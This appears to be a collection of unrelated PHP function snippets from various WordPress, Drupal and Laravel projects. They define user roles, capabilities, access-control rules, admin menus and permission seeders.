"static public function set_core_roles_capabilities(){\n stablish_capabilities('administrator', TA_Roles_Plugin::get_capabilities() );\n\n stablish_capabilities('subscriber', TA_Roles_Plugin::get_capabilities(array(\n 'comments_pre_aproved',\n )) );\n\n stablish_capabilities('editor', TA_Roles_Plugin::get_capabilities(array(\n 'portada',\n 'micrositio_home',\n 'article_section_edit',\n 'article_place_edit',\n 'article_tema_edit',\n 'article_tag',\n 'article_author',\n 'article_micrositio',\n 'article_micrositio_edit',\n 'menus',\n 'articles_edit',\n 'articles_publish',\n 'media_uploads',\n 'ed_impresa',\n 'fotogaleria',\n 'taller',\n 'memberships',\n 'mailtrain',\n 'comments',\n 'extra',\n 'comments_pre_aproved',\n )) );\n }",
"public function add_caps() {\n global $wp_roles;\n\n // TODO: see easy-digital-downloads plugin source codes for example implementation.\n }",
"function DoctorAppointment_role_caps() {\n $roles = array('receptionist');\n \n // Loop through each role and assign capabilities\n foreach($roles as $the_role) { \n\n $role = get_role($the_role);\n \n $role->add_cap( 'read' );\n $role->add_cap( 'read_DoctorAppointment');\n $role->add_cap( 'read_private_DoctorAppointments' );\n $role->add_cap( 'edit_DoctorAppointment' );\n $role->add_cap( 'edit_DoctorAppointments' );\n $role->add_cap( 'edit_others_DoctorAppointments' );\n $role->add_cap( 'edit_published_DoctorAppointments' );\n $role->add_cap( 'publish_DoctorAppointments' );\n $role->add_cap( 'delete_others_DoctorAppointments' );\n $role->add_cap( 'delete_private_DoctorAppointments' );\n $role->add_cap( 'delete_published_DoctorAppointments' );\n \n \n \n }\n}",
"protected function getAdministratorPermissions() {\n return array_filter(\n ['translate interface',\n 'administer content translation',\n 'create content translations',\n 'update content translations',\n 'delete content translations',\n 'administer languages',\n ]\n );\n }",
"function wpms_classifieds_build_permissions() {\n\tdo_action(\"wpms_build_premissions\");\n\tif (function_exists('get_role')) {\n\t\t$role = array(get_role('administrator'), get_role('editor'), get_role('author'));\n\t\tforeach ($role as $r) {\n\t\t\tif ($r != null && !$role->has_cap('use_accueil')) {\n\t\t\t\t$r->add_cap('use_accueil');\n\t\t\t}\n\t\t\tif ($r != null && !$role->has_cap('admin_accueil')) {\n\t\t\t\t$r->add_cap('admin_accueil');\n\t\t\t}\n\t\t\tunset($r);\n\t\t}\n\t}\n}",
"function vns_subscribe_order_add_access_capabilities() {\n $roles = array( 'administrator','editor' );\n foreach ( $roles as $role ) {\n \n $role = get_role( $role );\n if ( empty( $role ) ) {\n continue;\n }\n \n \n \n \n if(!$role->has_cap( 'vns_subscribe_order_view_news' ) ){\n \n $role->add_cap( 'vns_subscribe_order_view_news' );\n }\n \n if(!$role->has_cap( 'vns_subscribe_order_add_news' ) ){\n \n $role->add_cap( 'vns_subscribe_order_add_news' );\n }\n \n if(!$role->has_cap( 'vns_subscribe_order_edit_news' ) ){\n \n $role->add_cap( 'vns_subscribe_order_edit_news' );\n }\n \n if(!$role->has_cap( 'vns_subscribe_order_delete_news' ) ){\n \n $role->add_cap( 'vns_subscribe_order_delete_news' );\n }\n \n \n \n }\n \n $user = wp_get_current_user();\n $user->get_role_caps();\n \n}",
"function psp_add_role_caps()\n{\n $roles = array('manager');\n\n // Loop through each role and assign capabilities\n foreach ($roles as $the_role) {\n\n $role = get_role($the_role);\n\n $role->add_cap('read');\n $role->add_cap('create_cpt_project');\n $role->add_cap('create_private_cpt_project');\n $role->add_cap('read_cpt_project');\n $role->add_cap('read_private_cpt_project');\n $role->add_cap('edit_cpt_project');\n $role->add_cap('edit_published_cpt_project');\n $role->add_cap('publish_cpt_project');\n $role->add_cap('delete_private_cpt_project');\n $role->add_cap('delete_published_cpt_project');\n\n }\n}",
"function add_splus_roles_and_caps() {\n $role = get_role('administrator');\n if (is_object($role) && !$role->has_cap('manage_slp')) {\n $role->add_cap('manage_slp');\n }\n }",
"function GetAdminTypes()\n\t{\n\t\treturn $this->AdminTypes;\n\t}",
"public function hasAdminRights() {\n return in_array($this['user_type_id'], [3, 7]);\n }",
"function register_post_type(){\n \n $capability = acf_get_setting('capability');\n \n if(!acf_get_setting('show_admin'))\n $capability = false;\n \n register_post_type($this->post_type, array(\n 'label' => 'Options Page',\n 'description' => 'Options Page',\n 'labels' => array(\n 'name' => 'Options Pages',\n 'singular_name' => 'Options Page',\n 'menu_name' => 'Options Pages',\n 'edit_item' => 'Edit Options Page',\n 'add_new_item' => 'New Options Page',\n ),\n 'supports' => array('title'),\n 'hierarchical' => true,\n 'public' => false,\n 'show_ui' => true,\n 'show_in_menu' => 'edit.php?post_type=acf-field-group',\n 'menu_icon' => 'dashicons-layout',\n 'show_in_admin_bar' => false,\n 'show_in_nav_menus' => false,\n 'can_export' => false,\n 'has_archive' => false,\n 'rewrite' => false,\n 'exclude_from_search' => true,\n 'publicly_queryable' => false,\n 'capabilities' => array(\n 'publish_posts' => $capability,\n 'edit_posts' => $capability,\n 'edit_others_posts' => $capability,\n 'delete_posts' => $capability,\n 'delete_others_posts' => $capability,\n 'read_private_posts' => $capability,\n 'edit_post' => $capability,\n 'delete_post' => $capability,\n 'read_post' => $capability,\n ),\n 'acfe_admin_orderby' => 'title',\n 'acfe_admin_order' => 'ASC',\n 'acfe_admin_ppp' => 999,\n ));\n \n }",
"function SettingsController_DefineAdminPermissions_Handler(&$Sender) {\n if (isset($Sender->RequiredAdminPermissions)) {\n $Sender->RequiredAdminPermissions[] = 'Vanilla.Settings.Manage';\n $Sender->RequiredAdminPermissions[] = 'Vanilla.Categories.Manage';\n $Sender->RequiredAdminPermissions[] = 'Vanilla.Spam.Manage';\n }\n }",
"public static function activate()\n {\n $role = get_role('administrator');\n if (!empty($role)) {\n $role->add_cap('my_plugin_manage');\n }\n }",
"private function administer(): array {\n return [\n 'title' => $this->t('Administer Team'),\n 'restrict access' => TRUE,\n ];\n }",
"function admin()\n{\n return current_user_can('manage_options');\n}",
"function _post_type_meta_capabilities($capabilities = \\null)\n {\n }",
"public function setPrivilages()\n {\n // $this->acl->allow('guest',null, array('view', 'index'));\n // $this->acl->allow('editor',array('view','edit'));\n // $this->acl->allow('admin');\n \n // Setting privilages for actions as per particular controller\n // $this->acl->allow('<role>','<controller>', <array of controller actions>);\n // You can also fetch it from DB.\n \n// // $this->acl->deny('guest','news', 'index');\n// $this->acl->allow('guest','news', array( 'demo1', 'view', 'index'));\n// $this->acl->allow('guest','job-board', array('index'));\n//\n// $this->acl->allow('editor','news', array( 'edit', 'view', 'index')); \n// $this->acl->allow('editor','job-board', array('edit', 'index'));\n//\n// $this->acl->allow('admin');\n //$this->acl->allow('guest');\n //Guest ACL\n $this->acl->deny('guest',array('user','shop','admin'));\n $this->acl->allow('guest','index');\n \n //User ACL\n $this->acl->deny('user',array('shop','admin'));\n $this->acl->allow('user','user');\n $this->acl->allow('user','index',array('logout','notfound'));\n \n \n // Shop ACL\n $this->acl->deny('shop',array('user','admin'));\n $this->acl->allow('shop',array('index','shop'));\n \n //Admin ACL\n //$this->acl->deny('admin',array('user','shop'));\n //$this->acl->allow('admin',array('index','admin'));\n $this->acl->allow('admin');\n // Note that the actions which are not mentioned above i.e. inside array of\n // controller-action - becomes access-denied automatically\n // as in above example, news controller also have one more action demo2,\n // but demo2 is not mentioned in above allow actions, so \n // when guest tries to access the action - demo2, it would not show the \n // content of demo2, rather It would show content of error/index.phtml\n }",
"protected function get_all_capabilities(): array {\n\t\treturn array_merge(\n\t\t\tTaxonomy_Base::DEFAULT_CAPABILITIES,\n\t\t\t$this->story_post_type->get_caps(),\n\t\t);\n\t}",
"function exchange_add_user_management_for_editors() {\n\t$role = get_role( 'editor' );\n\t$caps = exchange_get_user_caps();\n\tforeach ( $caps as $cap ) {\n\t\t$role->add_cap( $cap );\n\t}\n}",
"function acf_current_user_can_admin()\n{\n}",
"function btwp_restrict_admin_access() {\n\t\n\tglobal $current_user;\n\tget_currentuserinfo();\n\t\n\tif( !array_key_exists( 'administrator', $current_user->caps ) ) {\n\t\twp_redirect( get_bloginfo( 'url' ) );\n\t\texit;\n\t}\n\n}",
"function adminMenu()\n{\n if (function_exists('rstCheckAccessPermissions') && rstCheckAccessPermissions()) {\n // available for Contributors\n $capability = 'edit_posts';\n } else {\n // available only for Administrators\n $capability = 'manage_options';\n }\n // available only for Administrators\n $capability_for_settings = 'manage_options';\n add_menu_page(__('Row Seats', 'menu-test'), __('Row Seats', 'menu-test'), $capability, 'rst-intro', 'rst_intro_page', RSTPLN_URL . 'images/row-seat-ico.png');\n add_submenu_page('rst-intro', __('Row Seats Settings', 'menu-test'), __('Row Seats Settings', 'menu-test'), $capability_for_settings, 'rst-settings', 'rst_settings');\n\tadd_submenu_page('rst-intro', __('Payment Settings', 'menu-test'), __('Payment Settings', 'menu-test'), $capability_for_settings, 'rst-pay-settings', 'rst_pay_settings');\n add_submenu_page('rst-intro', __('Manage Seats', 'menu-test'), __('Manage Seats', 'menu-test'), $capability, 'rst-manage-seats', 'rst_manage_seats');\n\t///add_submenu_page('rst-intro', __('Special Price', 'menu-test'), __('Special Price', 'menu-test'), $capability, 'rst-special-price', 'rst_special_price');\n\tadd_submenu_page('rst-intro', __('Transactions', 'menu-test'), __('Transactions', 'menu-test'), $capability, 'rst-transactions', 'rst_transactions');\n add_submenu_page('rst-intro', __('Add an Event', 'menu-test'), __('Add an Event', 'menu-test'), $capability, 'rst-manage-seats-moncal', 'rst_manage_seats_moncalender');\n\tadd_submenu_page('rst-intro', __('Reports', 'menu-test'), __('Reports', 'menu-test'), $capability, 'rst-reports', 'rst_reports');\n //add_submenu_page('rst-intro', __('Wpuser Access', 'menu-test'), __('Wpuser Access', 'menu-test'), $capability, 'wpuser-access', 'wpuser_access');\n\t//add_submenu_page('rst-intro', __('Seat color', 'menu-test'), __('Seat color', 'menu-test'), $capability, 'seat-color', 'seat_color');\n\t\t//wp_register_script('jscolor.js', plugin_dir_url(__FILE__) . 'js/jscolor/jscolor.js', array('jquery'));\n\t\t//wp_enqueue_script('jscolor.js');\n}",
"protected function _setupPrivileges()\n {\n $this->_acl\t->allow( 'guest', 'index', 'index' )\n ->allow( 'guest', 'auth' , array('index', 'login', 'logout') )\n ->allow( 'guest', 'register', 'index');\n\n $this->_acl\t->allow( 'user', 'index', 'index' )\n ->allow( 'user', 'auth' , array('index', 'login', 'logout') )\n ->allow( 'user', 'register', 'index')\n ->allow( 'user', 'dashboard', 'index');\n }",
"public static function capabilities($capabilities)\n\t{\n\t\t$capabilities['MailPress_write_edit_fromemail'] = array(\t'name'\t=> __('Edit fromemail', MP_TXTDOM),\n\t\t\t\t\t\t\t\t\t\t'group'\t=> 'mails'\n\t\t);\n\t\treturn $capabilities;\n\t}",
"public static function capabilities( $capabilities )\r\n\t{\r\n\t\t$capabilities['MailPress_write_edit_fromemail'] = array( \t'name'\t=> __( 'Edit fromemail', 'MailPress' ),\r\n\t\t\t\t\t\t\t\t\t\t'group'\t=> 'mails'\r\n\t\t );\r\n\t\treturn $capabilities;\r\n\t}",
"public function manage_linked_taxonomy_caps() {\n\t\tforeach ( $this->linked_types as $post_type => $tax ) {\n\t\t\tif ( ! empty( $tax ) ) {\n\t\t\t\tif ( is_array( $tax ) ) {\n\t\t\t\t\tforeach ( $tax as $tax_slug ) {\n\t\t\t\t\t\t$this->set_capabilities( $tax_slug );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$this->set_capabilities( $tax );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"public function isAdmin(){\n\t\tparent::isAdmin();\n\t}",
"private function authorizeAdmins() {\n\n $authorizedRoleIds = Configure::read('acl.role.access_plugin_role_ids');\n $authorizedUserIds = Configure::read('acl.role.access_plugin_user_ids');\n\n $modelRoleFk = $this->_getRoleForeignKeyName();\n\n if (in_array($this->Auth->user($modelRoleFk), $authorizedRoleIds) || in_array(\n $this->Auth->user($this->getUserPrimaryKeyName()),\n $authorizedUserIds)) {\n // Allow all actions. CakePHP 2.0\n $this->Auth->allow('*');\n\n // Allow all actions. CakePHP 2.1\n $this->Auth->allow();\n }\n }",
"public function getAdministrator() {}",
"public function run()\n {\n // permisos administrador\n \n $permissions[] = Permission::create([\n 'name' => 'users.manage',\n 'display_name' => 'Gestión de usuarios',\n 'description' => 'Administrar usuarios y sus sesiones.',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'clients.manage',\n 'display_name' => 'Gestión de clientes',\n 'description' => '',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'users.activity',\n 'display_name' => 'Registro de actividades',\n 'description' => 'Ver la actividad de todos los usuarios.',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'roles.manage',\n 'display_name' => 'Gestión de Roles',\n 'description' => 'Administrar los roles.',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'permissions.manage',\n 'display_name' => 'Gestión de permisos',\n 'description' => 'Administrar los permisos de los roles.',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'settings.general',\n 'display_name' => 'Configuración general del sistema',\n 'description' => '',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'company.manage',\n 'display_name' => 'Gestión de compañias',\n 'description' => '',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'banner.manage',\n 'display_name' => 'Gestión de banners',\n 'description' => '',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'faq.manage',\n 'display_name' => 'Gestión de FAQs',\n 'description' => '',\n 'removable' => false\n ]);\n\n $permissions[] = Permission::create([\n 'name' => 'term.manage',\n 'display_name' => 'Gestión de términos y condiciones',\n 'description' => '',\n 'removable' => false\n ]);\n\n $permissions_branch[] = Permission::create([\n 'name' => 'branch.manage',\n 'display_name' => 'Gestión de locales',\n 'description' => '',\n 'removable' => false\n ]);\n\n $adminRole = Role::where('name', 'admin')->first();\n $adminRole->attachPermissions($permissions);\n $adminRole->attachPermissions($permissions_branch);\n\n $permissions_owner[] = Permission::create([\n 'name' => 'reservation.manage',\n 'display_name' => 'Gestión de reservas',\n 'description' => '',\n 'removable' => false\n ]);\n\n $ownerRole = Role::where('name', 'owner')->first();\n $ownerRole->attachPermissions($permissions_owner);\n $ownerRole->attachPermissions($permissions_branch);\n\n }",
"public function add_user_capabilities() {\n\t\tglobal $wp_roles;\n\n\t\tif ( ! isset( $wp_roles ) && class_exists( 'WP_Roles' ) ) {\n\t\t\t$wp_roles = new WP_Roles();\n\t\t}\n\n\t\t// it's fine if this gets executed more than once\n\t\tif ( is_object( $wp_roles ) ) {\n\t\t\t$wp_roles->add_cap( 'shop_manager', 'manage_woocommerce_csv_exports' );\n\t\t\t$wp_roles->add_cap( 'administrator', 'manage_woocommerce_csv_exports' );\n\t\t}\n\t}",
"function pilau_edit_user_cap_protect_admins( $allcaps, $cap, $args ) {\n\n\t// If the check is about editing or deleting users and the user is specified\n\tif ( in_array( $args[0], array( 'edit_user', 'delete_user' ) ) && ! empty( $args[2] ) ) {\n\n\t\t// Get the user\n\t\t$user = new WP_User( $args[2] );\n\n\t\t// If the user in question is an admin and the current user isn't...\n\t\tif ( user_can( $user, 'update_core' ) && ! user_can( $args[1], 'update_core' ) ) {\n\t\t\t$allcaps[ $args[0] . 's' ] = false;\n\t\t}\n\n\t}\n\n\treturn $allcaps;\n}",
"function getManagementVerbs() {\n\t\t$verbs = array();\n\t\tif ($this->getEnabled()) {\n\t\t\t$verbs[] = array('settings', __('plugins.generic.thesisfeed.settings'));\n\t\t}\n\t\treturn parent::getManagementVerbs($verbs);\n\t}",
"public function adminOnly();",
"public function adminOnly();",
"function producto_meta_cap( $caps, $cap, $user_id, $args ) {\n\tif ( 'edit_producto' == $cap || 'delete_producto' == $cap || 'read_producto' == $cap ) {\n\t\t$post = get_post( $args[0] );\n\t\t$post_type = get_post_type_object( $post->post_type );\n\n\t\t/* Set an empty array for the caps. */\n\t\t$caps = array();\n\t}\n\n\t/* If editing a producto, assign the required capability. */\n\tif ( 'edit_producto' == $cap ) {\n\t\tif ( $user_id == $post->post_author )\n\t\t\t$caps[] = $post_type->cap->edit_posts;\n\t\telse\n\t\t\t$caps[] = $post_type->cap->edit_others_posts;\n\t}\n\n\t/* If deleting a producto, assign the required capability. */\n\telseif ( 'delete_producto' == $cap ) {\n\t\tif ( $user_id == $post->post_author )\n\t\t\t$caps[] = $post_type->cap->delete_posts;\n\t\telse\n\t\t\t$caps[] = $post_type->cap->delete_others_posts;\n\t}\n\n\t/* If reading a private producto, assign the required capability. */\n\telseif ( 'read_producto' == $cap ) {\n\n\t\tif ( 'private' != $post->post_status )\n\t\t\t$caps[] = 'read';\n\t\telseif ( $user_id == $post->post_author )\n\t\t\t$caps[] = 'read';\n\t\telse\n\t\t\t$caps[] = $post_type->cap->read_private_posts;\n\t}\n\n\t/* Return the capabilities required by the user. */\n\treturn $caps;\n}",
"public function admin_menu() {\n $capabilities = erp_ac_get_manager_role();\n \n add_menu_page( __( 'Accounting', 'wp-erp' ), __( 'Accounting', 'wp-erp' ), $capabilities, 'erp-accounting', array( $this, 'dashboard_page' ), 'dashicons-chart-pie', null );\n\n $dashboard = add_submenu_page( 'erp-accounting', __( 'Dashboard', 'wp-erp' ), __( 'Dashboard', 'wp-erp' ), $capabilities, 'erp-accounting', array( $this, 'dashboard_page' ) );\n $customers = add_submenu_page( 'erp-accounting', __( 'Customers', 'wp-erp' ), __( 'Customers', 'wp-erp' ), $capabilities, 'erp-accounting-customers', array( $this, 'page_customers' ) );\n $vendor = add_submenu_page( 'erp-accounting', __( 'Vendors', 'wp-erp' ), __( 'Vendors', 'wp-erp' ), $capabilities, 'erp-accounting-vendors', array( $this, 'page_vendors' ) );\n $sales = add_submenu_page( 'erp-accounting', __( 'Sales', 'wp-erp' ), __( 'Sales', 'wp-erp' ), $capabilities, 'erp-accounting-sales', array( $this, 'page_sales' ) );\n $expense = add_submenu_page( 'erp-accounting', __( 'Expenses', 'wp-erp' ), __( 'Expenses', 'wp-erp' ), $capabilities, 'erp-accounting-expense', array( $this, 'page_expenses' ) );\n add_submenu_page( 'erp-accounting', __( 'Chart of Accounts', 'wp-erp' ), __( 'Chart of Accounts', 'wp-erp' ), $capabilities, 'erp-accounting-charts', array( $this, 'page_chart_of_accounting' ) );\n $bank = add_submenu_page( 'erp-accounting', __( 'Bank Accounts', 'wp-erp' ), __( 'Bank Accounts', 'wp-erp' ), $capabilities, 'erp-accounting-bank', array( $this, 'page_bank' ) );\n add_submenu_page( 'erp-accounting', __( 'Journal Entry', 'wp-erp' ), __( 'Journal Entry', 'wp-erp' ), $capabilities, 'erp-accounting-journal', array( $this, 'page_journal_entry' ) );\n add_submenu_page( 'erp-accounting', __( 'Reports', 'wp-erp' ), __( 'Reports', 'wp-erp' ), $capabilities, 'erp-accounting-reports', array( $this, 'page_reports' ) );\n\n add_action( 'admin_print_styles-' . $dashboard, array( $this, 'chart_script' ) );\n add_action( 'admin_print_styles-' . $customers, array( $this, 'chart_script' ) );\n add_action( 'admin_print_styles-' . $vendor, array( $this, 'chart_script' ) );\n add_action( 'admin_print_styles-' . $bank, array( $this, 'chart_script' ) );\n add_action( 'admin_print_styles-' . $sales, array( $this, 'chart_script' ) );\n add_action( 'admin_print_styles-' . $expense, array( $this, 'chart_script' ) );\n }",
"function applicants_admin_actions() {\n //add_menu_page(\"Applicants\", \"Applicants\", 5, \"Applicants\", \"applicants_admin\");\n\tadd_menu_page( 'Applicants', 'Applicants', 'manage_options', 'applicants', 'applicants_admin', '', 27 );\n}",
"public function isAdmin() {}",
"public function run()\n {\n $permission = [\n // WEBSITE\n [\n 'name' => 'admin_website_view',\n 'display_name' => 'Website View',\n 'description' => 'Website View'\n ],\n [\n 'name' => 'admin_website_update',\n 'display_name' => 'Website Update',\n 'description' => 'Website Update'\n ],\n // EMAIL\n [\n 'name' => 'admin_email_view',\n 'display_name' => 'Email View',\n 'description' => 'Email View'\n ],\n [\n 'name' => 'admin_email_update',\n 'display_name' => 'Email Update',\n 'description' => 'Email Update'\n ],\n [\n 'name' => 'admin_email_delete',\n 'display_name' => 'Email Delete',\n 'description' => 'Email Delete'\n ],\n [\n 'name' => 'admin_email_create',\n 'display_name' => 'Email Create',\n 'description' => 'Email Create'\n ],\n [\n 'name' => 'admin_email_send',\n 'display_name' => 'Email Send',\n 'description' => 'Email Send'\n ],\n // GROUP EMAIL\n [\n 'name' => 'admin_group_email_view',\n 'display_name' => 'Email Group View',\n 'description' => 'Email Group View'\n ],\n [\n 'name' => 'admin_group_email_update',\n 'display_name' => 'Email Group Update',\n 'description' => 'Email Group Update'\n ],\n [\n 'name' => 'admin_group_email_delete',\n 'display_name' => 'Email Group Delete',\n 'description' => 'Email Group Delete'\n ],\n [\n 'name' => 'admin_group_email_create',\n 'display_name' => 'Email Group Create',\n 'description' => 'Email Group Create'\n ],\n\n // ADVERTS\n [\n 'name' => 'admin_advert_view',\n 'display_name' => 'Advert View',\n 'description' => 'Advert View'\n ],\n [\n 'name' => 'admin_advert_update',\n 'display_name' => 'Advert Update',\n 'description' => 'Advert Update'\n ],\n [\n 'name' => 'admin_advert_delete',\n 'display_name' => 'Advert Delete',\n 'description' => 'Advert Delete'\n ],\n [\n 'name' => 'admin_advert_create',\n 'display_name' => 'Advert Create',\n 'description' => 'Advert Create'\n ],\n\n // Client\n [\n 'name' => 'admin_client_view',\n 'display_name' => 'Client View',\n 'description' => 'Client View'\n ],\n [\n 'name' => 'admin_client_update',\n 'display_name' => 'Client Update',\n 'description' => 'Client Update'\n ],\n [\n 'name' => 'admin_client_delete',\n 'display_name' => 'Client Delete',\n 'description' => 'Client Delete'\n ],\n [\n 'name' => 'admin_client_create',\n 'display_name' => 'Client Create',\n 'description' => 'Client Create'\n ],\n\n // USER\n [\n 'name' => 'admin_user_view',\n 'display_name' => 'User View',\n 'description' => 'User View'\n ],\n [\n 'name' => 'admin_user_update',\n 'display_name' => 'User Update',\n 'description' => 'User Update'\n ],\n [\n 'name' => 'admin_user_delete',\n 'display_name' => 'User Delete',\n 'description' => 'User Delete'\n ],\n [\n 'name' => 'admin_user_create',\n 'display_name' => 'User Create',\n 'description' => 'User Create'\n ],\n [\n 'name' => 'admin_user_view_log',\n 'display_name' => 'User View Log',\n 'description' => 'User View Log'\n ],\n\n // CUSTOMER\n [\n 'name' => 'admin_customer_view',\n 'display_name' => 'Customer View',\n 'description' => 'Customer View'\n ],\n [\n 'name' => 'admin_customer_update',\n 'display_name' => 'Customer Update',\n 'description' => 'Customer Update'\n ],\n [\n 'name' => 'admin_customer_delete',\n 'display_name' => 'Customer Delete',\n 'description' => 'Customer Delete'\n ],\n [\n 'name' => 'admin_customer_create',\n 'display_name' => 'Customer Create',\n 'description' => 'Customer Create'\n ],\n\n // BOOKING\n [\n 'name' => 'admin_booking_view',\n 'display_name' => 'Booking View',\n 'description' => 'Booking View'\n ],\n [\n 'name' => 'admin_booking_update',\n 'display_name' => 'Booking Update',\n 'description' => 'Booking Update'\n ],\n [\n 'name' => 'admin_booking_delete',\n 'display_name' => 'Booking Delete',\n 'description' => 'Booking Delete'\n ],\n [\n 'name' => 'admin_booking_create',\n 'display_name' => 'Booking Create',\n 'description' => 'Booking Create'\n ],\n\n // SCHOOL\n [\n 'name' => 'admin_school_view',\n 'display_name' => 'School View',\n 'description' => 'School View'\n ],\n [\n 'name' => 'admin_school_update',\n 'display_name' => 'School Update',\n 'description' => 'School Update'\n ],\n [\n 'name' => 'admin_school_delete',\n 'display_name' => 'School Delete',\n 'description' => 'School Delete'\n ],\n [\n 'name' => 'admin_school_create',\n 'display_name' => 'School Create',\n 'description' => 'School Create'\n ],\n // SCHOOL LEVEL\n [\n 'name' => 'admin_school_level_view',\n 'display_name' => 'School Level View',\n 'description' => 'School Level View'\n ],\n [\n 'name' => 'admin_school_level_update',\n 'display_name' => 'School Level Update',\n 'description' => 'School Level Update'\n ],\n [\n 'name' => 'admin_school_level_delete',\n 'display_name' => 'School Level Delete',\n 'description' => 'School Level Delete'\n ],\n [\n 'name' => 'admin_school_level_create',\n 'display_name' => 'School Level Create',\n 'description' => 'School Level Create'\n ],\n\n // SCHOOL TYPE\n [\n 'name' => 'admin_school_type_view',\n 'display_name' => 'School Type View',\n 'description' => 'School Type View'\n ],\n [\n 'name' => 'admin_school_type_update',\n 'display_name' => 'School Type Update',\n 'description' => 'School Type Update'\n ],\n [\n 'name' => 'admin_school_type_delete',\n 'display_name' => 'School Type Delete',\n 'description' => 'School Type Delete'\n ],\n [\n 'name' => 'admin_school_type_create',\n 'display_name' => 'School Type Create',\n 'description' => 'School Type Create'\n ],\n // SCHOOL CLASS\n [\n 'name' => 'admin_school_class_view',\n 'display_name' => 'School Class View',\n 'description' => 'School Class View'\n ],\n [\n 'name' => 'admin_school_class_update',\n 'display_name' => 'School Class Update',\n 'description' => 'School Class Update'\n ],\n [\n 'name' => 'admin_school_class_delete',\n 'display_name' => 'School Class Delete',\n 'description' => 'School Class Delete'\n ],\n [\n 'name' => 'admin_school_class_create',\n 'display_name' => 'School Class Create',\n 'description' => 'School Class Create'\n ],\n // SCHOOL LANGUAGE\n [\n 'name' => 'admin_school_language_view',\n 'display_name' => 'School Language View',\n 'description' => 'School Language View'\n ],\n [\n 'name' => 'admin_school_language_update',\n 'display_name' => 'School Language Update',\n 'description' => 'School Language Update'\n ],\n [\n 'name' => 'admin_school_language_delete',\n 'display_name' => 'School Language Delete',\n 'description' => 'School Language Delete'\n ],\n [\n 'name' => 'admin_school_language_create',\n 'display_name' => 'School Language Create',\n 'description' => 'School Language Create'\n ],\n // SCHOOL EVENT\n [\n 'name' => 'admin_school_event_view',\n 'display_name' => 'School Event View',\n 'description' => 'School Event View'\n ],\n [\n 'name' => 'admin_school_event_update',\n 'display_name' => 'School Event Update',\n 'description' => 'School Event Update'\n ],\n [\n 'name' => 'admin_school_event_delete',\n 'display_name' => 'School Event Delete',\n 'description' => 'School Event Delete'\n ],\n [\n 'name' => 'admin_school_event_create',\n 'display_name' => 'School Event Create',\n 'description' => 'School Event Create'\n ],\n // SCHOOL CATEGORY\n [\n 'name' => 'admin_school_category_view',\n 'display_name' => 'School Category View',\n 'description' => 'School Category View'\n ],\n [\n 'name' => 'admin_school_category_update',\n 'display_name' => 'School Category Update',\n 'description' => 'School Category Update'\n ],\n [\n 'name' => 'admin_school_category_delete',\n 'display_name' => 'School Category Delete',\n 'description' => 'School Category Delete'\n ],\n [\n 'name' => 'admin_school_category_create',\n 'display_name' => 'School Category Create',\n 'description' => 'School Category Create'\n ],\n // SEARCH\n [\n 'name' => 'admin_search_view',\n 'display_name' => 'Search View',\n 'description' => 'Search View'\n ],\n [\n 'name' => 'admin_search_update',\n 'display_name' => 'Search Update',\n 'description' => 'Search Update'\n ],\n [\n 'name' => 'admin_search_delete',\n 'display_name' => 'Search Delete',\n 'description' => 'Search Delete'\n ],\n [\n 'name' => 'admin_search_create',\n 'display_name' => 'Search Create',\n 'description' => 'Search Create'\n ],\n // LOCATION\n [\n 'name' => 'admin_location_view',\n 'display_name' => 'Location View',\n 'description' => 'Location View'\n ],\n [\n 'name' => 'admin_location_update',\n 'display_name' => 'Location Update',\n 'description' => 'Location Update'\n ],\n [\n 'name' => 'admin_location_delete',\n 'display_name' => 'Location Delete',\n 'description' => 'Location Delete'\n ],\n [\n 'name' => 'admin_location_create',\n 'display_name' => 'Location Create',\n 'description' => 'Location Create'\n ],\n // ROLE\n [\n 'name' => 'admin_role_view',\n 'display_name' => 'Role View',\n 'description' => 'Role View'\n ],\n [\n 'name' => 'admin_role_update',\n 'display_name' => 'Role Update',\n 'description' => 'Role Update'\n ],\n [\n 'name' => 'admin_role_delete',\n 'display_name' => 'Role Delete',\n 'description' => 'Role Delete'\n ],\n [\n 'name' => 'admin_role_create',\n 'display_name' => 'Role Create',\n 'description' => 'Role Create'\n ],\n // NEWS\n [\n 'name' => 'admin_news_view',\n 'display_name' => 'News View',\n 'description' => 'News View'\n ],\n [\n 'name' => 'admin_news_update',\n 'display_name' => 'News Update',\n 'description' => 'News Update'\n ],\n [\n 'name' => 'admin_news_delete',\n 'display_name' => 'News Delete',\n 'description' => 'News Delete'\n ],\n [\n 'name' => 'admin_news_create',\n 'display_name' => 'News Create',\n 'description' => 'News Create'\n ],\n // LOCALIZATION\n [\n 'name' => 'admin_localization_view',\n 'display_name' => 'Localization View',\n 'description' => 'Localization View'\n ],\n [\n 'name' => 'admin_localization_update',\n 'display_name' => 'Localization Update',\n 'description' => 'Localization Update'\n ],\n [\n 'name' => 'admin_localization_delete',\n 'display_name' => 'Localization Delete',\n 'description' => 'Localization Delete'\n ],\n [\n 'name' => 'admin_localization_create',\n 'display_name' => 'Localization Create',\n 'description' => 'Localization Create'\n ],\n // STATICS\n [\n 'name' => 'admin_statics_view',\n 'display_name' => 'Statics View',\n 'description' => 'Statics View'\n ],\n [\n 'name' => 'admin_statics_update',\n 'display_name' => 'Statics Update',\n 'description' => 'Statics Update'\n ],\n [\n 'name' => 'admin_statics_delete',\n 'display_name' => 'Statics Delete',\n 'description' => 'Statics Delete'\n ],\n [\n 'name' => 'admin_statics_create',\n 'display_name' => 'Statics Create',\n 'description' => 'Statics Create'\n ],\n // MENU\n [\n 'name' => 'admin_menu_view',\n 'display_name' => 'Menu View',\n 'description' => 'Menu View'\n ],\n [\n 'name' => 'admin_menu_update',\n 'display_name' => 'Menu Update',\n 'description' => 'Menu Update'\n ],\n [\n 'name' => 'admin_menu_delete',\n 'display_name' => 'Menu Delete',\n 'description' => 'Menu Delete'\n ],\n [\n 'name' => 'admin_menu_create',\n 'display_name' => 'Menu Create',\n 'description' => 'Menu Create'\n ]\n ];\n DB::table('permissions')->insert($permission);\n }",
